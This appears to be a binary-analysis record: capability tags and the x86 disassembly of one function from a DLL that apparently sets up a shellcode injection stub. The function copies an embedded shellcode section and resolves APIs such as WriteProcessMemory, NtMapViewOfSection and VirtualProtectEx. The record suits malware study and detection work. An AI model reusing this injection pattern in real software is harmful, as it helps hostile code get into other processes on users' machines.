Function at 0x10002d00
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x10017dd8]
xor eax, ebp
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x228]
push ecx
call sym.SZStub.dll__GetShellcodeLen_8
cmp dword [ebp + 8], 0
je 0x10002d6b
mov edx, dword [ebp + 0xc]
cmp edx, dword [ebp - 0x228]
jae 0x10002d73
mov eax, dword [ebp - 0x14]
jmp 0x10003181
push 0x10017020
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x10002d95
mov eax, dword [ebp - 0x14]
jmp 0x10003181
push 0x10017034
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10002db1
mov eax, dword [ebp - 0x14]
jmp 0x10003181
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10002dcd
mov eax, dword [ebp - 0x14]
jmp 0x10003181
mov eax, dword [ebp - 0x228]
push eax
push section.xrhcode
mov ecx, dword [ebp + 8]
push ecx
call fcn.10006920
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x228]
mov dword [edx + 2], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + 6], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx + 0x9c], edx
push 0xc
push 0
mov eax, dword [ebp - 0xc]
add eax, 0x70
push eax
call fcn.10006510
add esp, 0xc
call fcn.10002b90
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0xa0], eax
push 0x20
push str.BaseNamedObjects_sgfilelistmap
mov edx, dword [ebp - 0xc]
add edx, 0xa4
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0x10
push str.kernel32.dll
mov eax, dword [ebp - 0xc]
add eax, 0x7c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0x10
push 0x100170c4
mov ecx, dword [ebp - 0xc]
add ecx, 0xe4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x228]
mov dword [edx], eax
push str.MessageBoxW
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x6c], eax
push str.GetCurrentProcess
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x68], eax
push str.GetModuleHandleW
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x64], eax
push str.memcmp
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x54], eax
push str.memcpy
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x58], eax
push str.wcscpy
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x50], eax
push str.RtlCreateSecurityDescriptor
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x5c], eax
push str.RtlSetDaclSecurityDescriptor
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x60], eax
push str.LdrGetDllHandle
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x10], eax
push str.LdrLoadDll
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0xc], eax
push str.LdrUnloadDll
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 8], eax
push str.NtAllocateVirtualMemory
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x24], eax
push str.NtClose
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x38], eax
push str.NtFreeVirtualMemory
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x34], eax
push str.NtMapViewOfSection
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x40], eax
push str.NtOpenProcessToken
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x1c], eax
push str.NtOpenSection
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x3c], eax
push str.VirtualProtectEx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x2c], eax
push 0x10017208
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x30], eax
push str.WriteProcessMemory
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x28], eax
push 0x10017230
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x48], eax
push str.NtQueryInformationToken
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x20], eax
push 0x10017264
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 4], eax
push str.NtUnmapViewOfSection
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x44], eax
push str.RtlEqualSid
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x18], eax
push str.RtlInitUnicodeString
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x4c], eax
push str.RtlValidSid
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x14], eax
push 0xc
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x70
push ecx
call fcn.10006920
add esp, 0xc
push 0x208
push 0
lea edx, [ebp - 0x220]
push edx
call fcn.10006510
add esp, 0xc
push 0x104
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x100172b8
lea ecx, [ebp - 0x220]
push ecx
call fcn.100068cb
add esp, 8
push 0x100172bc
lea edx, [ebp - 0x220]
push edx
call fcn.100068cb
add esp, 8
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xa4
push ecx
call fcn.100068f9
add esp, 8
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.100064f8
mov esp, ebp
pop ebp
ret 8